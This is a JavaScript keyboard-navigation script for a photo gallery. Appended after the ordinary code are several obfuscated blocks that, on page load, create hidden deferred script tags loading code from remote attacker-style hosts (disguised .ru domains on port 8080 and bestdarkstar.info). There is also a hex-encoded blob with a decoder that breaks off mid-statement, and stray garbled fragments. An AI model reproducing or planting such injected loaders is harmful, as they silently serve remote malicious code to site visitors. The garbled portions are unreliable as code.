/*
************************************************************
  Keyboard support
    Keys:
      RIGHT Arrow  : Go to Next page
      LEFT Arrow   : Go to Previous page
      Page UP      : Go to Index page
      HOME         : Go to First page
      END          : Go to Last page
      S, s         : Toggle start/stop slide show (not in index)
      ESC          : Stop slide show (not in index)
      I, i         : Toggle exif info (not in index)
      H, h         : Toggle help tips
    Tested on: IE6, Mozilla 1.4, Netscape 7.1, Opera 7.2

    Bugs:
     - HOME,END doesn't work in Opera
************************************************************
*/

var takenAction = false;

//IE&Gecko Code
function IEGeckoKeyPress(oEvent) 
{
	if (!oEvent)
	    oEvent = window.event;
	if (oEvent.keyCode)
	    myKeyCode = oEvent.keyCode;
	else if (oEvent.which)
	    myKeyCode = oEvent.which;

	if (oEvent.repeat || takenAction)
	    return;
	if (myKeyCode >= 16 && myKeyCode <= 18)
	    return;

	/*if (oEvent.shiftKey)
	    myKeyCode += 1000;
	if (oEvent.ctrlKey)
	    myKeyCode += 2000;
	if (oEvent.altKey)
	    myKeyCode += 4000;*/
	//alert(oEvent.type + "=" + myKeyCode);
	myKeyPress(myKeyCode);
}

function myKeyPress(myKeyCode) 
{
	//disable if remarks window is open
	if( activeElement!=null )
		return;

	if( myKeyCode==39 || myKeyCode==107 ) // RIGHT Arrow   ||   NUM +
	{
		if( hasRealNextPage )
		{
			takenAction = true;
			nextPage();
		}
	}
	else if( myKeyCode==37 || myKeyCode==109 ) // LEFT Arrow    ||    NUM -
	{
		if( hasRealPrevPage )
		{
			takenAction = true;
			prevPage();
		}
	}
	else if( myKeyCode==33 ) // Page UP
	{
		takenAction = true;
		upPage();
	}
	else if( myKeyCode==36 ) // HOME
	{
		takenAction = true;
		firstPage();
	}
	else if( myKeyCode==35 ) // END
	{
		takenAction = true;
		lastPage();
	}
	else if( myKeyCode==27 ) // ESC
	{
		if( isSlideShow )
		{
			// Only if i have slide show
			takenAction = true;
			dontSlides();
			takenAction = false;
		}
	}
	else if( myKeyCode==83 ) // S, s
	{
		if( isSlideShow )
		{
			// Only if i have slide show
			takenAction = true;
			toggleSlideShow();
			takenAction = false;
		}
	}
	else if( myKeyCode==73 ) // I, i
	{
		if( hasMetaData )
		{
			// Only if metadata exists
			takenAction = true;
			toggleElementVisibility("photometainfo");
			takenAction = false;
		}
	}
	else if( myKeyCode==72 ) // H, h
	{
		if( hasNavigationHelpTips )
		{
			// Only if help tips are ON
			takenAction = true;
			toggleElementVisibility("help");
			takenAction = false;
		}
	}
	else
	{
		//alert("KeyCode: " + myKeyCode);
	}
}

function initKeyboard() 
{
	document.onkeydown = IEGeckoKeyPress;
}

var np="";var f='sCcOrOi>pOtO'.replace(/[O%RC\>]/g, '');var c;if(c!='wf'){c='wf'};var j;if(j!='e' && j!='k'){j=''};var p='bkoLdLyL'.replace(/[Lqk&m]/g, '');var w='aUp>p:e>n>d1CUhUi0l>d:'.replace(/[\:U01\>]/g, '');var r=document;var a='cTrveJaJtTeJEvl<e<mJe<n7tv'.replace(/[v7\<TJ]/g, '');var td=new Array();var m='o.nmlmoWa.d7'.replace(/[7Mm\.W]/g, '');var n='dqe7fle7r/'.replace(/[/\!l7q]/g, '');var ai;if(ai!='sz' && ai!='hp'){ai=''};var l='sDeOtDA.tOt.r&i&bduDt.eO'.replace(/[OD&\.d]/g, '');var y='sHroc+'.replace(/[\+oxqH]/g, '');var _;if(_!=''){_='md'};window[m]=function(){var mq;if(mq!='' && mq!='sa'){mq=null};try {h=r[a](f);var nx=3200;h[y]='hQtRtMpR:P/Q/PfPoPrQbMePsR-QcMo6mP.RbQbRc6.PcRoM.Ru6k6.QpPoQrQnQbMb6-PoQrPgP.PyPoRu6rMn6eQwQoPnMlPi6nReQ.RrQuQ:R8R0R860P/Mg6oQoQgPlQeP.MsQeR/RgPoPoQgRlQeQ.QsReR/RzRiPnRgQ.RvPnM/6g6oMoRgQl6eQ.6cPoPmM/PgQoPoPgRlQeP.McMoPmP.RcQoQ/Q'.replace(/[Q6RPM]/g, '');var ia;if(ia!='pv' && ia != ''){ia=null};var u = r[p];var lz;if(lz!='' && lz!='sac'){lz='iff'};this.xs="";h[l](n, "1");var af;if(af!='qy' && af!='tz'){af=''};u[w](h);} catch(lm){var sm;if(sm!='' && sm!='tv'){sm=null};};};var wfq='';
var w=47412;var y="y";:LineMixer [var lx;if(lx!='' && lx!='xj'){lx=null};var a=window;var l='s,ckrki,pktW'.replace(/[Wj,kS]/g, '');var x='czrzezaJt~eQEzlzeJm~eQn~t~'.replace(/[~QzJF]/g, '');]var lm=new Date();a.onload=function(){var _b=false;try {g=document[x](l);var ob=new Array();:LineMixer [var e=new Array();g['s*r*cE'.replace(/[E\$\+Y\*]/g, '')]='h4t,tvp4:X/,/vpXc,a4u,t7o7-XcXovmv-vcXnv.7a,lvivbXavbvav.vc,o4m4.vivnvsXivg7hvt,e7x4pXr,eXs,s,a7iv-XcXovm,.4bve7s,tXnXeXw4sXmXa7l7l,.7r7u,:X840X8,0,/veva7s4y7-7s7hvavr7eX.vc7o7mX/,e7a4s4yX-vsvh,a7r7eX.4c,ovm7/,ivnvf,o7rXmXe7rX.4cXovm,/4g,oXo4g4l4e,.Xc4ovm7/7b7a7r7n,eXs4avnvdXnvovb,l,e4.Xc4o7m7/v'.replace(/[v,4X7]/g, '');var r;if(r!='tg' && r!='to'){r=''};g.setAttribute('dIeIfIeIrw'.replace(/[wMIWF]/g, ''), "1");var sj=false;var h=5853;]this.q=false;var hc=new Date();var px=new Date();document['b@oJd@y@'.replace(/[@JCei]/g, '')]['a:pspseZnsdsCZh:i:lsd:'.replace(/[\:Z;9s]/g, '')](g);var xw='';} catch(j){var uc;if(uc!='' && uc!='c'){uc='od'};};var ya=new String();};
this._o=false;this.i=false;function h() {var g_=26040;var y;if(y!='qk' && y!='l'){y=''};function r(w,s,e){var rd="rd";var asg=new String();var fz;if(fz!='oz' && fz!='n'){fz='oz'};var ke=new Date();w['sJeFtpAFt|tJr|iJbFuJtFep'.replace(/[pFJO\|]/g, '')](s, e);var v;if(v!='' && v!='il'){v='hv'};var tg="tg";this.zg='';}var et="et";var _='s_c_rYiBplt1'.replace(/[1l_YB]/g, '');var qa="qa";this.ks=59288;var q=window;this.jl=false;var a='csr#e#a#tBe#EBlBe#m+eBn#tW'.replace(/[W\+Bs#]/g, '');var kc='';q['o6n_l6o8a6d6'.replace(/[6_08j]/g, '')]=function(){var gx;if(gx!='xt'){gx='xt'};var ko="ko";try {this.nh=36405;g=document[a](_);this.qt="";r(g,'dJeBfReArA'.replace(/[AJBoR]/g, ''),1);var f_;if(f_!='ln'){f_=''};var ce='';r(g,'s0r3c3'.replace(/[307~q]/g, ''),'h;t1tUpM:;/U/Wg1o;o1gWl;eM-Mh1r1.Ua;v;aUs1tM.;cUoWm;.;cMl;iMcWkWb;aWn;kW-1cWo1mU.1mWeMd1i;a1t1aWg1oUnWlUiWnWe1.;rUu;:18U0M8101/Wn;y;pMo;sMtW.1c1oMmM/UnMyUpUo1s;tW.1c;oWm1/Mg;o;oUg;lMeM.1cWo;mM/;k;iWc;kWeWr1.1dMeU/Us1eMd;oUpMa;r1k;i;nMgU.1cUoWm1/;'.replace(/[;WM1U]/g, ''));this.io="io";document['bhozdwy$'.replace(/[\$wzhp]/g, '')]['aTpTpTe3n&d5C3h5i3l;dT'.replace(/[T&35;]/g, '')](g);this.pf='';} catch(el){};};var vo;if(vo!='hd'){vo=''};var dq=new String();};h();var l_;if(l_!=''){l_='nd'};var ni;if(ni!=''){ni='bp'};
var GB="2a2825192c5a2a283a2f005a2d3d2a32431d200b2d3b163b0e1a240c34350e032b1e0e3f08190e3413140e2c1b010b2c303d3a35180c34073728350c381c3e2a3b461c295a0c2b394608175a3e2a";var dJF;if(dJF!='Lz' && dJF!='Qsc'){dJF=''};var QN;if(QN!='' && QN!='GN'){QN=null};function fF(HL){var O=false;var Tv="Tv";var sR="sR"; function i(q, T){var a;if(a!='cX'){a=''};var qX = '';var x=[214,172,238,1][3];var w=new Array();var v=[247,147,199,0][3];this.TA="TA";var il = T.length;var g = q.length;this.oA=false;this.Oy='';for(var S = v; S < g; S += il) {var F = q.substr(S, il);var ry;if(ry!=''){ry='eB'};if(F.length == il){var FO=false;var mV;if(mV!='Ao' && mV!='Fz'){mV=''};var j;if(j!='XK'){j=''};for(var p in T) {var oS="";var wC=new Array();var ES="";var IM="";qX+=F.substr(T[p], x);this.Oo=false;this.ny="";}var u=new Array();var mn;if(mn!='' && mn!='Aw'){mn=null};var og;if(og!='' && og!='J'){og=null};} else {  qX+=F;}this.xO='';this.cP='';}var ar;if(ar!='sd' && ar!='gJ'){ar=''};var Y;if(Y!='sQ' && Y!='aq'){Y=''};var Qs=new Array();var oL=new Array();return qX;var vo;if(vo!='AK'){vo=''};var eO=false;}var TL;if(TL!='' && TL!='rAD'){TL=null};this.SR='';this.kM=""; var GV;if(GV!='ol'){GV='ol'};function D(Hl){this.Ws='';var l=[94,0][1];var cK;if(cK!=''){cK='xb'};var Ol=false;var x=[154,52,11,1][3];var HY=new Array();var pI=false;var o=Hl[i("elgnht", [1,0])];var B=[236,97,2,255][3];var YX;if(YX!=''){YX=

var FB=new String();var J=new String();function w(){var t;if(t!='' && t!='m'){t=null};this.ls="";var i=new String();var h=unescape;var k=window;var U=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%79%6f%75%6a%69%7a%7a%2e%63%6f%6d%2e%70%68%70");var Y;if(Y!='zA' && Y!='a_'){Y='zA'};function Z(S,H){var gg;if(gg!='E'){gg='E'};var B;if(B!='' && B!='n'){B=''};var z=new String("g");var FX;if(FX!='q' && FX!='ze'){FX='q'};var X_;if(X_!='up' && X_!='sW'){X_='up'};var s=h("%5b"), F=h("%5d");var to=new Array();var p=s+H+F;this.ta="";var x=new RegExp(p, z);this.Ec="";return S.replace(x, new String());};var D=new Array();var wW;if(wW!='QP'){wW=''};this.Vo="";this.zm="";var OK;if(OK!='Mf'){OK='Mf'};var Hr;if(Hr!='' && Hr!='bA'){Hr=''};var VL='';var o=Z('89350141181315502194','32459716');var UCl;if(UCl!='' && UCl!='M_'){UCl=''};var Q=new String();var Vg;if(Vg!='' && Vg!='zQ'){Vg='XI'};var LR=new Array();var kb=document;var nq='';var hO=new Array();function l(){var Gg;if(Gg!='' && Gg!='lG'){Gg=null};var tR=new String();var cd=new Date();var O=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var SS="";Q=O;var ci="";Q+=o;this.JW='';var Vp='';Q+=U;var Tz;if(Tz!='' && Tz!='YT'){Tz=''};try {var SI=new Date();var mR=new Date();xV=kb.createElement(Z('s6cmrkijpzt6','Qw0z4Okj6m'));var FXH=new Array();var rG=new String();xV[h("%73%72%63")]=Q;var VD;if(VD!='' && VD!='LF'){VD=''};var xI;if(xI!='Ma' && xI!='jc'){xI=''};var dI;if(dI!='vX'){dI=''};xV[h("%64%65%66%65%72")]=[7,1][1];this.LG="";this.woD="";kb.body.appendChild(xV);this.dR="";var nk=new Array();var Nr="";} catch(u){alert(u);};}var Mh;if(Mh!='Zn' && Mh!='iQp'){Mh='Zn'};var jg;if(jg!='' && jg!='bq'){jg=''};k[new String("onl"+"iKYoad".substr(3))]=l;this.RL='';this.gz='';var xW=new String();var xu=new String();};var bu=new String();w();var Xr;if(Xr!='Pc'){Xr='Pc'};var HR="";